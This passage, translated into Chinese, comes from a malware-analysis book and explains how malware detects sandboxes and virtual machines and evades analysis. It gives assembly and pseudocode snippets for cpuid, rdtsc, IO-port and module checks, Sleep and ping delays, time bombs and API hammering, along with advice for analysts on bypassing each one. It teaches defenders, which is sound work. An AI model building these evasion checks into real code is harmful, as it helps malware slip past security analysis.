该恶意软件样本调用了 GetModuleFileNameA 函数 ❶,并传递了三个参数:一个缓冲区(fileNameBuffer),用于存储返回的恶意软件文件名,一个缓冲区的大小(size),以及一个目标模块(esi)。当目标模块被设置为 null 时,表示当前运行的进程。
接下来,代码调用了wcsstr函数❷,该函数有两个参数:一个被列入黑名单的文件名(blocklist1)和一个指向缓冲区的指针,该缓冲区存储了从GetModuleFileName返回的恶意软件文件名。恶意软件样本随后将其自身的文件名与黑名单中的值进行比较。如果结果为0,即返回的文件名与黑名单中的文件名不匹配,恶意软件将跳到下一个比较。它将继续遍历黑名单中的文件名列表❸。如果找到匹配项,它就会假设自己正在被分析。
恶意软件沙箱和分析人员有时会将恶意软件文件重命名为其哈希值,而不是使用通用的文件名—通常为 MD5、SHA-1 或 SHA256 格式。当你从像 VirusTotal 这样的恶意软件库下载恶意软件时,它的文件名通常是哈希值的形式,如b3126a1de5401048f5a6ea5a9192126fc7482ff0。恶意软件分析人员或沙箱可能会在运行文件之前,简单地将文件扩展名附加到这个文件名上:b3126a1de5401048f5a6ea5a9192126fc7482ff0.exe。哈希值有固定的字符数,比如 MD5 哈希值有 32 个字符,SHA-1 哈希值有 40 个字符。恶意软件可以计算文件名中的字符数,如果文件名恰好是 32 个或 40 个字符(再加上文件扩展名字符),恶意软件可能会假设它正在分析环境中运行。
此外,恶意软件可以检查其运行路径和文件名,并将其与恶意软件作者原本意图的运行路径和文件名进行比较。例如,一个恶意的 Microsoft Word 文档可能试图从互联网下载一个可执行文件,并将其保存在C:\Users<user>\AppData\Roaming目录下,文件名为abc.exe。如果恶意软件分析人员获取到这个可执行文件,而没有原始的 Word 文档,并且从C:\Users<user>\Downloads目录中以evil.exe的文件名运行它,恶意软件样本可能会注意到它从一个异常的位置运行,且文件名未知,从而采取规避措施。
最后,恶意软件可能会检查其命令行参数。一些沙箱会在恶意软件进程中添加自己的参数,例如-force、-analysis,或-samp class="SANS_TheSansMonoCd_W5Regular_11">debug。通过检查这些参数是否存在,恶意软件可以检测它是否在沙箱环境中运行,并相应地改变其行为。此技术的变种是恶意软件仅在特定命令行参数下执行。如果没有这些参数执行恶意软件(例如在自动化沙箱环境中引爆时),它可能无法完全执行或表现出不同的功能。例如,恶意软件样本evil.exe可能需要命令行参数do_stuff:
C:\> evil.exe do_stuff
如果没有do_stuff参数,恶意软件可能在分析环境中无法正常运行。此技术通常涉及一个初步的恶意软件可执行文件或脚本,它使用正确的参数执行主要的恶意软件可执行文件。在这种情况下,你可能需要进行一些手动分析和逆向工程,以确定恶意软件期望的命令行参数。
为了绕过恶意软件可能使用的许多文件名和运行路径规避检查,你可以简单地将文件重命名为一个随机单词或短语,并从一个恶意软件常常执行的目录运行该文件,例如临时目录(例如,*C:\Users<username>\AppData\Roaming*)。理解整个攻击链也非常重要:恶意软件可能在寻找特定的文件路径或参数,获取这些路径的快速方法是调查攻击的所有痕迹。
加载模块
某些沙箱和恶意软件分析工具将模块加载到正在运行的恶意软件进程的内存地址空间中,以修改恶意软件的行为或拦截其代码。在这种情况下,模块通常是一个 DLL 文件,它被加载(或注入)到目标进程中以实现各种目的。为了确定哪些模块已加载到其内存空间中,恶意软件可以使用 Windows API 函数,如 Module32First、Module32Next 和 GetModuleHandle 来枚举已加载的模块并识别任何异常。Module32First 和 Module32Next 用于迭代调用进程中所有已加载的模块,就像 Process32First 和 Process32Next 用于枚举进程一样。另一方面,GetModuleHandle 仅接受一个模块名作为参数,并在该模块已加载时返回模块的句柄。恶意软件可以利用这一点检查一个硬编码的模块名称列表,如下所示:
loc_1:
push offset toolSandboxie; "sbiedll.dll"
call GetModuleHandleA
test eax, eax
jz loc_2:
`--snip--`
loc_2:
push offset toolVirtualpc; "vmcheck.dll"
call GetModuleHandleA
test eax, eax
该恶意软件样本首先将字符串 "sbiedll.dll" 的地址推送到栈中,然后调用 GetModuleHandleA。如果返回值是 0,意味着该模块未加载到恶意软件的内存空间中,代码将跳转到 loc_2,并使用相同的指令检查 "vmcheck.dll" 模块。此样本查找的两个模块分别是 Sandboxie(sbiedll.dll),一个流行的沙箱应用程序,以及 vmcheck.dll,这是一个通常会加载到虚拟 PC 客户端中的模块。
注意
此技术还可以用于其他目的,比如寻找反恶意软件、终端检测与响应(EDR)以及其他防御工具;我们将在第 IV 部分中讨论这一点。
内存中的异常字符串
在钩取或监控恶意软件时,分析沙箱和工具有时会在恶意软件的进程内存空间中留下痕迹。恶意软件可以枚举内存中的这些字符串,搜索特定的分析工具和其他可疑行为,如以下伪代码所示:
hashedString = "9253221daaf309200fdcec682a987a51c5a5a598";
ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead);
hashedBuffer = sha1sum(lpbuffer);
if (memcmp(hashedString, hashedBuffer, sizeof(hashedString)) == 0)
{
TerminateProcess();
}
首先,这个恶意软件样本定义了变量hashedString。这个字符串仅仅是字符串HookLibraryx86.dll的 SHA-1 哈希值,我稍后会更详细地讨论这一点。接下来,样本将调用函数ReadProcessMemory,并传入多个参数,其中最重要的参数包括进程的句柄(hProcess),从进程内开始读取内存的基地址(lpBaseAddresss),接收读取内存数据的缓冲区(lpBuffer),以及要从内存中读取的字节数(nSize)。在这种情况下,被读取的进程是恶意软件本身的进程。一旦从内存中读取了数据并将其存储到缓冲区中,样本将使用 SHA-1 算法对该数据进行哈希计算。最后,样本调用memcmp函数将哈希后的缓冲区数据与原始哈希字符串进行比较。
恶意软件可以搜索其整个内存地址空间中的异常,也可以针对特定的内存区域。lpBaseAddress值可以是恶意软件进程地址空间内的任何基地址。
该恶意软件样本使用哈希技术使得分析变得更加困难,因为在没有反向哈希的情况下,我们无法确切知道它在内存中搜索的内容。HookLibraryx86.dll是一个常在使用 ScyllaHide 工具分析恶意软件时加载到内存中的模块。我将在第十章中更详细地讨论 ScyllaHide,但目前请记住,恶意软件可以扫描自身内存中的异常字符串,并将其搜索内容混淆,以增加分析的难度。
钩子函数和加速检查
自动化恶意软件沙箱和一些分析工具在运行恶意软件时,可能会钩取并修改特定函数,以绕过某些规避检测的尝试。一个常见的钩取函数是 Sleep,恶意软件利用它保持休眠状态,防止自动化沙箱成功分析(因为沙箱通常只运行几分钟)。例如,沙箱可能会修改 Sleep 函数的参数,将休眠时间从 5 分钟改为 30 秒。恶意软件可以通过将 Sleep 函数“夹在”两个基于计时的函数之间,来检查 Sleep 函数是否被篡改,例如 GetTickCount(这种技术称为 加速检查):
call GetTickCount
mov edi, eax
push 7530h ; 30,000 ms
call Sleep
call GetTickCount
sub eax, edi
mov ecx, 7148h ; 29,000
cmp ecx, eax
这个恶意软件样本调用了 GetTickCount,然后调用 Sleep 休眠 30,000 毫秒(30 秒)。接着,它第二次调用 GetTickCount,然后将第一次的 GetTickCount 结果减去第二次的值,并将差值存储在 eax 中(sub eax, edi)。最后,恶意软件将 eax 中的值与 29,000 毫秒进行比较,这是恶意软件预期经过的最短时间。如果自动化沙箱或工具篡改了 Sleep 函数,那么 GetTickCount 的值将与预期的时间长度不成比例,从而使恶意软件察觉到有问题。
使用性能和计时指示器
实际的非虚拟化处理器与虚拟化处理器之间可能存在显著的时间和性能偏差。非虚拟化处理器通常比虚拟化处理器使用相同硬件规格时执行指令更快、更高效。大多数情况下,普通用户在与这些系统交互时并不会察觉到这种差异。然而,恶意软件可以利用这些微小的差异来揭示底层的虚拟机。
rdtsc 指令
读取时间戳计数器,或 rdtsc,是一条具有多种用途的特殊汇编指令,包括性能监控和度量收集。当 rdtsc 指令在 CPU 上执行时,当前的 CPU 时钟周期数会被存储,可以引用并与后续的 rdtsc 指令进行比较。这两个值之间的差异就是自第一次执行 rdtsc 指令以来的时钟周期数。
虚拟机存在与 rdtsc 指令相关的问题。当程序在虚拟处理器上运行并执行 rdtsc 时,虚拟处理器必须将此指令传递给“真实”处理器:运行宿主操作系统的硬件 CPU。将 rdtsc 指令传递给真实 CPU 并返回的过程会引起一些延迟,从而增加时钟周期数。当恶意软件发现返回的时钟周期数高于非虚拟化系统时,它可能会推断出自己正在虚拟机环境中运行。
为了更好地理解恶意软件如何使用这种技术,我们来看看从反汇编的恶意软件代码中提取的一段汇编代码:
rdtsc
mov [ebp+rdtsc_1], eax
xor eax, eax
rdtsc
sub eax, [ebp+rdtsc_1]
该恶意软件样本使用了 rdtsc 指令来获取当前的时钟周期数,并将该值存储在一个缓冲区(rdtsc_1)中。然后,它执行另一个 rdtsc 指令,并将结果从原始值中减去(sub eax, [ebp+ rdtsc_1])。它可以使用结果值来判断执行时间是否在非虚拟化处理器的阈值范围内。
有时,恶意软件比仅仅使用两条简单的 rdtsc 指令更为狡猾,一些恶意软件家族执行多次 rdtsc 指令以获得更准确的值。在下一部分,我们将介绍 rdtsc 的更多使用案例。
函数执行时序
考虑到非虚拟化和虚拟化处理器之间的时序差异,一些恶意软件会运行某个函数或指令,并将其执行时间与代表真实非虚拟化处理器的基准时间进行比较。如果指令执行速度比基准时间慢,恶意软件可能会判断它正在虚拟机中运行。
一种技术是恶意软件将一个 Windows API 函数调用或指令夹在两个 GetTickCount 函数之间,并比较结果。两个 GetTickCount 函数之间的长时间延迟可能会向恶意软件表明它正在被执行和分析。
这种技术有许多变种,包括使用指令如 rdtsc 和 cpuid,而不是像 GetTickCount 这样的 Windows API 函数。这里的要点是,每当你发现恶意软件使用基于时间的函数或指令,并随后进行比较操作时,你应该更详细地调查它。
性能计数器
CPU 保持 性能计数器 以表示自某个时间点以来执行的指令数。它们可以合法地用于收集性能指标,但恶意软件可以利用它们来检测虚拟机环境。QueryPerformanceCounter 函数查询处理器的性能计数器并返回当前值。QueryPerformanceFrequency 返回性能计数器的 频率,这是一个固定值,表示处理器的整体性能。当这些指令在虚拟机中执行时,这些函数返回的值可能比非虚拟化系统略低,从而显示虚拟化处理器的性能影响。
如果你发现恶意软件使用这些函数,检查是否有随后的比较操作。这可能是恶意软件试图识别你的分析环境。
滥用虚拟处理器
虚拟机中的虚拟处理器可能会以某种方式解释和执行特定的汇编指令,从而向恶意软件揭示虚拟机的存在。在本节中,我们将深入探讨恶意软件如何通过滥用这些虚拟处理器,错误使用指令或利用它们的设计缺陷来进行攻击。
红丸与无丸技术
红丸和无丸技术是恶意软件用来检测虚拟环境的两种著名方法。这两种技术检查处理器数据结构中的虚拟机特定值。这些技术在现代分析环境中通常无效,因此现代恶意软件中很少使用它们,但了解它们仍然是有益的。
对于 Red Pill 技术,恶意软件执行存储中断描述符表(Store Interrupt Descriptor Table),或sidt汇编指令,将中断描述符表寄存器的值写入内存中,然后进行检查。中断描述符表(IDT)是处理器用来确定对异常和中断作出正确响应的数据结构。(异常指示处理器某个指令出错,而中断允许处理器在需要时响应更高优先级的事件。)如果恶意软件在虚拟机中运行,IDT 寄存器的第五个字节将包含一个特定的值,表明这一点。
Red Pill 技术的实现很简单:
lea eax, [ebp+buffer]
sidt [eax]
mov al, [eax+5]
cmp al, 0FFh
sidt [eax]指令将 IDT 寄存器的内容(长度为 6 字节)存储到缓冲区。该代码读取此值并执行与缓冲区中第五个字节的比较操作,即[eax+5]。如果正在虚拟机中运行,IDT 寄存器的第五个字节将等于FF(十六进制)。
No Pill 技术使用存储本地描述符表(Store Local Descriptor Table),或sldt指令将本地描述符表(LDT)寄存器存储到内存中。由于正常的 Windows 应用程序不使用 LDT,因此该 LDT 寄存器的值应为0。然而,在某些虚拟化管理程序中,该 LDT 寄存器的值会包含一个非零值,这可能会提示恶意软件它正在虚拟机中运行。与 Red Pill 技术类似,No Pill 技术在现代沙盒和虚拟化管理程序中已无法正常工作。
IO 端口
输入/输出端口 (IO 端口) 是机器物理硬件与运行其上的软件之间的通信方式。某些虚拟化管理程序(hypervisor)使用 IO 端口进行主机与客户操作系统的通信。例如,VMware 使用 VMX IO 端口。思科 Talos 的研究表明,恶意软件可以识别 VMX 端口,从而检测其是否运行在 VMware 环境中。以下汇编代码展示了这一过程可能的实现方式:
mov eax, 'VMXh'
mov ebx, 2EF36D4Ch
mov ecx, 0Ah
mov dx, 'VX'
in eax, dx
cmp ebx, 2EF36D4Ch
这个恶意软件样本将VMXh的值加载到eax寄存器中,然后将魔法值2EF36D4Ch加载到ebx寄存器中。这个魔法值可以是任何十六进制值,在这里并不重要。接下来,代码将dx寄存器段加载为VX的值,或十六进制的5658,这是 VMX 端口号。最后,恶意软件执行in eax, dx,使用in汇编指令尝试访问 IO 端口。如果该主机正在运行 VMware Workstation 虚拟机监控程序,这条指令将返回魔法数字,可能会导致恶意软件样本自我终止或采取其他回避措施。在非虚拟化主机上,返回的值将是0。
和红药丸(Red Pill)和无药丸(No Pill)技术一样,这种特定的技术已经相当古老,并且在现代版本的 VMware 中已经被修补。然而,理解这一技术以及类似的技术仍然很重要,尤其是在分析使用它或其变种的恶意软件时。
cpuid 指令
cpuid汇编指令返回有关主机处理器的信息,例如处理器的特性和制造商。在虚拟机外部,执行cpuid并将 EAX 设置为0时,将返回类似Genuineintel(对于 Intel 处理器)或AuthenticAMD(对于 AMD 处理器)的信息。当cpuid在虚拟机内部执行时,它通常返回虚拟机监控程序的名称。以 VMware 为例,这个字符串是VMwareVMware。对于 VirtualBox,返回的字符串是VBoxVBoxVBox。
在执行 cpuid 前将 EAX 设置为 1 可以返回更多的信息,存储在 ECX 和 EDX 寄存器的一个 31 位区块中。如果系统的 CPU 是物理 CPU,则 ECX 寄存器的第 31 位为 0,如果系统使用虚拟 CPU,则该位为 1,这表明处于虚拟机环境中。以下是一个恶意软件样本使用此技巧的汇编代码片段:
inc eax
cpuid
bt ecx, 0x1f
jc terminate_process
在这里,恶意软件将 eax 设置为 1(inc eax),该值将作为 cpuid 指令的参数。执行完 cpuid 后,恶意软件会执行 bt (位测试) 指令,将 ECX 寄存器的第 31 位移动到 进位标志 寄存器中,该寄存器是一个特殊的 CPU 寄存器,能够存储 0 或 1 的值,通常在加减法操作中使用。最后,样本检查进位标志寄存器(jc),如果其值为 1,恶意软件将得出结论认为它正在虚拟机中运行并自行终止。
注意
维基百科是有关从 cpuid 返回的处理器信息和功能位的一个极好参考资料。请参阅 <wbr>en<wbr>.wikipedia<wbr>.org<wbr>/wiki<wbr>/CPUID<wbr>.
不支持的指令集
恶意软件可能使用 cpuid 来检测处理器是否支持特定的指令集。例如,EDX 寄存器中的第 23 位指定处理器是否支持 SSE 指令集,这是一组不常见的汇编指令,通常用于图形处理和科学计算。一些现代的虚拟机监控器(hypervisor)支持像 SSE 这样的指令集,但并不是所有的都支持!这可能成为恶意软件检测自己是否运行在虚拟机或沙盒中的一种明显迹象。
一些恶意软件不会像系统地查看 cpuid 的输出那样,而是直接尝试执行这些指令,如下所示:
movdqa xmm0, xmmword ptr [eax]
movdqa xmm1, xmmword ptr [eax]
movdqa xmmword ptr [eax], xmm0
movdqa xmmword ptr [eax], xmm1
movdqa(移动对齐的双四字数据)指令用于将数据移入和移出 XMM 寄存器,这些寄存器用于 SSE 指令集。在这段代码中,movdqa 指令将由 eax 引用的数据移动到 xmm0 寄存器,再移动到 xmm1 寄存器。然后,它将这些数据从 xmm 寄存器移回到 eax。如果此代码产生错误(或者恶意软件崩溃!),恶意软件样本可能会假设它正在虚拟化环境中运行。
这里举的 SSE 指令集只是一个例子,大多数现代管理程序都支持它。需要记住的重要一点是,任何外部或不常见的汇编指令,如果管理程序不支持它们,都可能被恶意软件滥用来进行虚拟机和沙箱检测。
另一个外部指令的例子是 vpcext,如果在 Windows 虚拟 PC 管理程序之外执行,将会产生错误。然而,如果在虚拟 PC 内执行,该指令将成功,并将 EBX 寄存器设置为 0。以下代码执行 vpcext 指令,接着执行 test 指令以检查 ebx 是否等于 0:
vpcext 7, 0bh
test ebx, ebx
捕获标志与其他技术
捕获标志是 Intel x86 指令集中的 EFLAGS 寄存器的第八位。如果在调用其他指令之前启用该位,将触发异常。在虚拟机环境中,管理程序模拟捕获标志的行为。根据所使用的管理程序,此模拟可能不正确或不完整,这会导致捕获标志被忽略,并通知恶意软件它正在虚拟机中运行。这项技术首次于 2021 年由 Palo Alto 的 Unit 42 研究人员在实际环境中发现。
看起来像这样的虚拟机检测方法,如捕获标志技术,每隔几年就会有新的被发现。它们大多数有一个共同点:它们滥用 CPU 及其架构设计的工作方式,导致管理程序以意外或以前未知的方式表现,从而最终暴露出底层的虚拟机。恶意软件分析师必须及时了解这些技术,以便识别恶意软件何时使用它们。
使用检测技术的风险
正如你在这一章以及前几章中看到的,对于恶意软件作者而言,实施虚拟机和分析工具检测功能有很多好处。那么,为什么恶意软件作者不包括这些功能呢?其中一个原因是,这些技术实际上可能增加恶意软件被反恶意软件或分析员发现的概率。恶意软件执行的 Windows API 函数或指令越可疑,越有可能被注意到这些行为异常。
另一个风险则不那么明显,我认为有点滑稽。如果恶意软件检测到自己运行在虚拟机中并选择不感染宿主,这在某些情况下可能是自我挫败的。许多组织正在转向云和按需基础设施,实际上许多系统都是虚拟机。能够检测虚拟机以逃避恶意软件分析员和沙盒的恶意软件,往往也在同时逃避它本应感染的企业系统。
一个现实世界的例子是广为人知的网络犯罪恶意软件 Emotet,它采用了多种反分析技术,其中之一就是虚拟机(VM)和沙盒检测。如果它认为宿主是虚拟机或沙盒,Emotet 会自行终止,从而防止感染,或者它会与在真实物理系统上运行时的行为不同。这导致了 Emotet 的感染率比正常情况下要低,并可能帮助一些运行虚拟化基础设施的组织避免了重大损害。
总结
在这一章中,你了解了恶意软件可以用来建立上下文并检测恶意软件分析工具、虚拟机和沙盒的几种技术。接下来,我们将在本章和前三章讨论的基础上继续展开。具体来说,我们将探讨恶意软件在发现自己运行在虚拟化环境或实验室中时,为了规避和干扰分析工作所采取的措施。
第九章:8 规避沙箱与干扰分析

在前几章中,你了解了恶意软件用来建立上下文并更好地理解当前环境的几种技术。当恶意软件判断它正在分析员的实验室中运行,或处于其他敌对环境时,它可能会采取回避措施,例如延迟执行、创建诱饵,甚至通过干扰分析员的工具主动阻碍调查工作。本章将重点讨论这些以及恶意软件用来隐藏自己并规避分析工具的其他方法。
自我终止
恶意软件避免分析的一种简单有效的方式是自我终止。恶意软件可以简单地调用 Windows API 函数,如TerminateProcess或ExitProcess,向自己的进程发出“终止”命令,像这样:
is_vm = enumerate_reg_keys(keys)
if (is_vm)
{
current_process = GetCurrentProcess()
TerminateProcess(current_process, ... )
}
这个恶意软件伪代码首先调用它自己的内部函数enumerate_reg_keys,枚举第四章中讨论的一些与虚拟机相关的注册表键。(函数的详细内容这里未显示。)接下来,如果is_vm返回 true,恶意软件会请求获取它自己的进程句柄(GetCurrentProcess),然后通过调用TerminateProcess终止自身。ExitProcess函数也可以以相同的方式使用,只有一些微小的区别。有时,恶意软件甚至同时调用这两个函数,以确保它已经成功终止。
这种技术对于自动化沙箱尤其有效,因为沙箱无法监控已经自我终止的恶意软件样本的行为。然而,沙箱可能会标记该函数本身,或检测到样本自我终止得太快。这个方法也能有效应对与样本进行手动交互的恶意软件分析员,因为分析员必须通过调试器或反汇编器逆向代码,以确定恶意软件是如何以及为何终止自己的。
当你分析使用这种技术的恶意软件样本时,在 ExitProcess 和 TerminateProcess 上设置调试器断点可能有助于你在恶意软件自我终止之前抓住它。这将允许你检查调用栈以及导致进程终止的代码,并希望能够找出原因。然而,务必记住,这些 API 函数也可能在崩溃期间被调用,因此恶意软件可能并非直接调用它们用于规避目的。
延迟执行
想象一下一个典型的自动化恶意软件分析沙箱环境。该环境会根据需求启动,执行恶意软件样本,监视恶意软件的行为几分钟(具体取决于沙箱的配置),然后关闭。那么,如果恶意软件延迟执行以“超时”沙箱分析过程怎么办?例如,也许恶意软件执行一个睡眠例程,在其中它会保持休眠几分钟,超越沙箱环境的短暂生命期。高级恶意软件将其执行延迟数小时甚至数周并不罕见。这是一种有效的规避沙箱并使恶意软件分析师努力受挫的方法。
Sleep 函数调用
最常见的延迟执行形式可能就是恶意软件简单地调用 Windows API 中的 Sleep 函数。Sleep 及其相关函数 SleepEx 接受一个表示睡眠时间(以毫秒为单位)的参数。以下汇编代码展示了一个恶意软件样本调用 Sleep 函数的片段:
push 493E0h ; 5 minutes
call Sleep
在这种情况下,传递给 Sleep 的 493E0h 参数是以十六进制表示的时间,代表 300,000 毫秒,或 5 分钟。
注意
有关 Sleep 函数及其如何被恶意软件利用的更多信息,请参阅第七章。
为了绕过这种技术,你可以在Sleep和SleepEx函数调用上设置断点,然后修改传递给它的dwMilliseconds参数。或者,你可以在调试器中直接nop掉这些Sleep指令,或者跳过它们。然而,这些方法并不总是万无一失的;高级恶意软件可能会在调用Sleep之前和之后计算系统时间,以验证Sleep函数是否正常执行!最后,许多现代沙箱可以拦截对Sleep的调用并进行修改,从而大幅减少样本的总休眠时间。
超时
恶意软件可以通过使用 Windows 工具(如ping.exe)来延迟其执行,从而造成超时。这种方法通常比睡眠方法更有效,因为它更难被沙箱干扰。另一个优点是,它可能会混淆分析过程,因为恶意软件分析师必须弄清楚为什么恶意软件样本会调用某个特定的应用程序。
在以下代码片段中,一个恶意软件样本正在执行ping.exe来向 Google 发送 1,000 次 ping 请求。根据网络连接速度,这可能会造成较长的延迟,甚至导致沙箱超时并停止分析:
push eax ; "ping.exe google.com -n 1000"
push 0;
call CreateProcessA
恶意软件还可以调用timeout.exe Windows 工具,这通常用于批处理脚本中暂停命令处理,以延迟执行。请注意恶意软件是否调用了这些工具。使用代码分析和调试来理解为什么恶意软件会执行这种行为。
时间炸弹与逻辑炸弹
在定时炸弹中,恶意软件设置一个特定的时间,例如某个日期或时间,来决定何时执行。例如,恶意软件样本可能包含嵌入代码,该代码仅在每天上午 9 点、每周六或 2024 年 12 月 26 日下午 5:55 执行。除非沙箱或恶意软件分析师手动设置日期或时间,以诱使恶意软件运行,否则样本不会执行其恶意代码。
与定时炸弹类似,在逻辑炸弹中,恶意软件在某个特定事件(如文件删除或数据库事务)发生后执行。逻辑炸弹可能比定时炸弹更有效,因为它们可以非常特定地针对恶意软件的操作环境。
以下简化的伪代码演示了一种时间炸弹技术,在这种技术中,恶意软件样本获取当前的系统日期,并将其与硬编码日期(在此例中为 2024 年)进行比较。
`--snip--`
GetSystemTime(&systemTime)
if (systemTime.wYear <= '2024') {
KillSelf()
}
如果恶意软件确定当前日期是 2024 年或更早,它将无法执行。
有时,沙箱可以识别恶意软件是否使用了这些技巧,但它们通常能避开检测。识别时间炸弹和逻辑炸弹的最佳方法是进行代码分析。在反汇编器或调试器中检查恶意软件样本,可能会揭示出恶意软件在寻找的时间、日期或逻辑。一旦识别出这一点,你可以简单地将分析系统时间设置为匹配,或者尝试重新创建这些逻辑。或者,你可以在反汇编器或调试器中修改恶意软件的代码,以绕过这些检查。
需要注意的是,除了用于规避检测外,时间炸弹技巧还用于控制恶意软件的传播。恶意软件可能被编程为在特定日期或时间之后不执行,以便更好地控制它,或以其他方式限制其生命周期。
伪代码和无限循环
一些恶意软件作者会在恶意软件中加入伪代码,使其进入无限循环,调用高 CPU 占用的函数或仅用于拖延分析时间的函数。通常,当恶意软件检测到沙箱或虚拟机环境时,伪代码会开始运行。以下的汇编代码示例展示了这可能是什么样子的:
loop:
inc ecx
cmp ecx,ecx
je loop
在这个基本的for循环中,ecx的值每次增加 1,然后与自身比较。如果它等于自身(提示:它会等于),循环将重复执行。这个简单的代码将使恶意软件的执行无限期拖延,或者至少直到沙箱终止,或者恶意软件分析师感到沮丧并结束进程。
类似地,一些恶意软件反复调用 Windows API 函数来拖延分析。例如,它可能调用RegEnumKey来枚举主机的整个注册表,这将耗费大量时间。或者,恶意软件样本可能反复调用LoadLibrary加载不存在的库。在写这本书时,我分析了一个 Dridex 银行木马样本,它执行GetProcAddress超过五百万次,以解析它从未使用过的函数地址(见图 8-1)。这会拖延分析,消耗宝贵的沙箱内存和 CPU 资源,有时还会导致崩溃。

图 8-1:通过反复执行 GetProcAddress 来延迟分析
已知 Dridex 也会执行 OutputDebugString 并进入无限循环,这与 GetProcAddress 方法具有相同的效果。OutputDebugString 函数将在第十章中详细讨论。
强制重启和注销
强制系统关机、重启或注销可以是有效的规避方法,尤其是在沙盒中。它会迅速停止所有分析工作,至少在主机重启完成之前是这样。然而,现代沙盒大多数可以应对这种情况,如果沙盒检测到已发出关机或注销指令,它会在机器重启后继续分析。但这仍然会对恶意软件分析过程产生负面影响。例如,在重启的情况下,原本保存在内存中的痕迹可能会被销毁。
恶意软件可以通过调用如 InitiateShutdown、InitiateSystemShutdown 和 InitiateSystemShutdownEx 等函数来强制重启或关闭系统。这三个函数的操作类似,接受一些关键参数,例如指定是否关闭或重启主机的选项,以及表示从函数调用到重启或关机的超时值。恶意软件可能还会使用的另一个 API 函数是 ExitWindows(或其同类函数 ExitWindowsEx),它提供了注销用户的选项,而不仅仅是重启或关闭主机。最后,系统也可以通过 WMI、PowerShell 或内置的 Windows shutdown.exe 工具来关闭。
恶意软件通常在建立持久性后使用此技术,此时它强制重启,然后运行其实际有效负载。通过这种方式,它成功地规避了某些自动化分析沙盒,并使恶意软件分析人员在尝试调查样本时感到困惑(或至少感到烦恼)。
诱饵和噪声
一些恶意软件作者利用沙盒在可预测的方式下运行的特点。例如,沙盒必须捕获大量数据,以理解和评估恶意软件样本的行为,而恶意软件可以通过生成大量的噪声或诱饵数据来利用这一点,这些数据会迅速淹没沙盒或妨碍分析。本节介绍了恶意软件如何做到这一点的几种方式。
API 攻击
当沙箱引爆一个恶意软件样本时,它会记录恶意软件的行为和函数调用。API 擂击 涉及多次调用相同的函数(在某些情况下,可能是数十万次),快速填满沙箱日志,并用无用的数据淹没分析环境。因此,沙箱可能无法成功分析该样本,因为噪音过多且日志已满。此外,使用 API 擂击技术的恶意软件样本在沙箱中执行的时间会更长,因为其日志记录行为引入了额外的开销。如果在正常的终端用户系统上执行同样的样本,它会更快地执行。
几乎任何 Windows API 函数都可以被滥用来实现这一目的。我见过的两个函数是 printf(一个将字符打印到调用应用程序的 C 函数)和 TlsGetValue。图 8-2 中展示的恶意软件样本连续调用了 TlsGetValue 函数超过 30,000 次!

图 8-2:恶意软件通过多次调用 TlsGetValue 来使用 API 擂击
恶意软件家族 Nymaim 和 Trickbot 都采用了 API 擂击技术,如 Joe Security 博客文章中所描述的(https://
然而,许多现代沙箱可以检测到 API 擂击,并将这种行为标记为可疑,甚至完全停止记录可疑的函数。沙箱还可能修改正在运行的恶意软件样本的行为或采取其他措施,防止 API 擂击干扰分析。但如果未被检测到,API 擂击会严重影响沙箱评估恶意软件的能力。
不必要的进程生成
与 API 擂击类似,不必要的进程生成是另一种用来压垮沙箱和恶意软件分析师的技术。图 8-3 中展示的恶意软件样本生成了数百个进程,所有进程都被命名为

图 8-3:恶意软件生成大量“虚假”进程
由于恶意软件生成了大量进程,分析师很难确定哪些进程值得进一步调查。沙箱也可能被所有数据所压倒。
诱饵网络通信
一些恶意软件变种会发送虚假或诱饵网络流量,以尝试掩盖真实的恶意流量。一个广为人知的恶意软件家族 Formbook 就采用了这种技术。Formbook 连接到一个随机生成的包含多个诱饵网站地址和一个实际的 命令与控制(C2) 地址的列表,这可能会使分析人员和沙箱感到困惑。在某些情况下,这些诱饵地址是真实的域名,可能会导致恶意软件分析人员在调查过程中走上错误的道路。图 8-4 展示了 Formbook 使用正常的 HTTP GET 请求连接到多个诱饵 C2 地址。

图 8-4:Formbook 连接到诱饵 C2 地址
如你所见,所有流量看起来几乎相同,但这些连接中只有一个是指向真实 C2 服务器的。
注意
你可以通过以下文件哈希值从 VirusTotal 或 MalShare 下载 Formbook 恶意软件:
SHA256: 08ef1473879e6e8197f1eadfe3e51a9dbdc9c892e442b57a3186a64ecc9d1e41
反挂钩
许多恶意软件分析沙箱和工具使用 API 挂钩,或简称 挂钩,来分析恶意软件行为。这涉及将一段代码(称为 挂钩)注入到恶意软件的内存空间中。挂钩然后拦截 API 函数调用,将它们重定向到不同的函数或修改其行为,再将其传递给原始函数。这个挂钩通常是一个模块,通常以 DLL 形式存在,然后在恶意软件运行时对其进行监控(见 图 8-5)。

图 8-5:一个沙箱挂钩正在运行的恶意软件进程
在这个示例中,一个沙箱通过 DLL 注入(沙箱挂钩的 DLL)挂钩了正在运行的恶意软件进程(挂钩恶意软件)。沙箱修改了它所挂钩的函数的前几个字节(在 user32.dll 内部),并插入了一个跳转(jmp)指令。现在,对 user32.dll 库中的该函数的所有调用将跳转到沙箱挂钩 DLL 中的挂钩代码。安装的挂钩允许沙箱拦截和监视函数调用,并可能修改函数调用参数或返回值。
为了实现挂钩,沙箱代理会在它希望挂钩的函数开头插入一个跳转语句。以下汇编代码片段展示了沙箱挂钩后 ReadFile 函数的前几个字节:
0x77000000 jmp hook_code
0x77000005 // Start of real ReadFile code
在这段钩取的代码中,插入的跳转语句将确保当恶意软件调用 ReadFile 函数时,执行流将转移到沙盒钩子代码 (hook_code),然后再执行真正的 ReadFile 代码。这种类型的钩子称为 内联钩子。沙盒使用一种名为 进程注入 的技术,将内联钩子注入目标进程中。我们将在第十二章中更详细地讨论注入和各种类型的钩子。
一些分析工具,如 API Monitor 和某些调试器插件,出于类似目的使用钩子。其中一个例子是流行的工具 ScyllaHide,它可以用来绕过恶意软件中的反调试技术。(第十章将更详细地介绍 ScyllaHide。)在本节中,我们将深入探讨恶意软件如何检测和规避钩子和监控的一些方法。
钩子检测
在执行之前,恶意软件可能会通过扫描自身的内存,检测是否被沙盒或分析工具钩取,查找这些注入的钩子模块。在第七章中,您已经看到恶意软件如何调用像 Module32First 和 Module32Next 这样的函数来枚举其已加载的模块。对于钩子检测,恶意软件样本可能会跟踪它将加载的模块,如果它枚举已加载的模块并注意到一个异常的加载模块,它可能会假设自己被钩取或被其他方式监控。
